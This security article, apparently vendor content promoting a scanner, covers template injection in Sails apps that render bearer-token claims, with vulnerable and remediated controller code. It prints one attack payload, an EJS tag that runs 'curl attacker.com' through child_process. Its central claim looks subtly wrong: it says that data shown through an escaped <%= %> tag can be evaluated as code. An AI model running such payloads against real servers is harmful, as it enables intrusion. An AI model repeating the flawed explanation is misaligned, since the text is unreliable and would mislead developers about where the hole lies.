Server Side Template Injection in Sails with Bearer Tokens
Server Side Template Injection in Sails with Bearer Tokens — how this specific combination creates or exposes the vulnerability
Server Side Template Injection (SSTI) in Sails can be exposed or amplified when APIs rely on Bearer Tokens for authorization and then render token-derived data into dynamic templates. SSTI occurs when an attacker can control a template input that is later evaluated by a server-side template engine. In Sails, which typically serves JSON APIs but can render server-side views (e.g., with EJS or similar engines), careless use of user-influenced data in templates can lead to arbitrary code execution.
Consider a scenario where an API endpoint accepts a Bearer Token, decodes its claims (e.g., using a library like jsonwebtoken), and passes a claim such as user.name or tokenScope into a rendered template. If the template is not properly sandboxed and uses unsafe evaluation (e.g., Lodash template with interpolate delimiters or a server-side templating engine that allows execution), attacker-controlled values from the token can lead to arbitrary JavaScript execution. For example, a token containing {"name":"{{2*2}}"} may seem benign, but if the token payload is directly embedded in a template like <div><%= user.name %></div>, and the template engine evaluates expressions, the server may execute injected code.
The combination of Bearer Tokens and SSTI is particularly dangerous because tokens are often treated as trusted inputs after validation. Developers may assume that because a token is signed, its contents are safe to render. However, signature validation does not imply safety for output contexts such as templates. Attackers who obtain or forge a token (via theft, leakage, or weak signing keys) can inject payloads that execute on the server when the template is rendered. This can lead to sensitive data exposure, remote code execution, or further attacks such as Server-Side Request Forgery (SSRF) if the injected code makes internal network calls.
Real-world attack patterns mirror known CVEs involving template engines and token misuse. For instance, if Sails uses an EJS template with unescaped output and a token-derived variable is injected as <% require('child_process').exec('curl attacker.com') %>, the server may execute system commands. Similarly, Lodash templates with _.template("Hello <%= user.profileName %>") can become injection vectors if profileName is sourced from token claims. These scenarios fall under the OWASP API Top 10 category of Injection and can violate compliance frameworks such as SOC2 and GDPR when sensitive data is exposed through template execution.
middleBrick detects such risks by correlating OpenAPI/Swagger specifications (including securitySchemes of type http with bearer schemes) with runtime template behavior. It flags instances where token-derived data flows into rendering paths without strict sanitization or contextual escaping. Even though middleBrick does not fix or block, it provides prioritized findings with remediation guidance to help developers audit templates and token usage.
Bearer Tokens-Specific Remediation in Sails — concrete code fixes
Remediation focuses on ensuring Bearer Token data is never directly interpolated into server-side templates and that token claims are treated as untrusted input. Below are concrete Sails code examples showing vulnerable patterns and their fixes.
Vulnerable pattern: Using token claims in EJS templates
// api/controllers/ProfileController.js
module.exports = {
show: async function (req, res) {
const token = req.headers.authorization?.split(' ')[1];
let payload;
try {
payload = jwt.verify(token, process.env.JWT_SECRET);
} catch (e) {
return res.unauthorized();
}
// Vulnerable: passing token-derived data directly to a template
return res.view('profile', { user: payload });
}
};
In the template views/profile.ejs:
<div>Welcome <%= user.name %></div>
If user.name contains template syntax, this is unsafe.
Remediation: Avoid rendering token claims in server-side templates
// api/controllers/ProfileController.js
module.exports = {
show: async function (req, res) {
const token = req.headers.authorization?.split(' ')[1];
let payload;
try {
payload = jwt.verify(token, process.env.JWT_SECRET);
} catch (e) {
return res.unauthorized();
}
// Safe: use token for authorization, but pass only safe, non-template data
const safeData = {
userId: payload.sub,
scope: payload.scope || 'read',
// Do not include raw claims that may be rendered in templates
};
return res.view('profile', { profile: safeData });
}
};
Ensure templates do not output token-derived fields. If server-side rendering is required, use strict contextual escaping and avoid eval-like constructs.
Remediation: Use API responses instead of server-side templates
// api/controllers/ProfileController.js
module.exports = {
show: async function (req, res) {
const token = req.headers.authorization?.split(' ')[1];
let payload;
try {
payload = jwt.verify(token, process.env.JWT_SECRET);
} catch (e) {
return res.unauthorized();
}
// Safe: return JSON, avoid server-side template rendering
return res.ok({
userId: payload.sub,
scope: payload.scope,
// No template evaluation on these values
});
}
};
For front-end rendering, consume the API and handle display in the client, which avoids server-side template risks entirely. If you must use server-side views, validate and sanitize all data with libraries such as validator.js and enforce strict Content Security Policies.
middleBrick’s scans can highlight endpoints where Bearer Token claims appear in OpenAPI parameters and where responses or rendered views may expose unsafe patterns, helping you prioritize these fixes.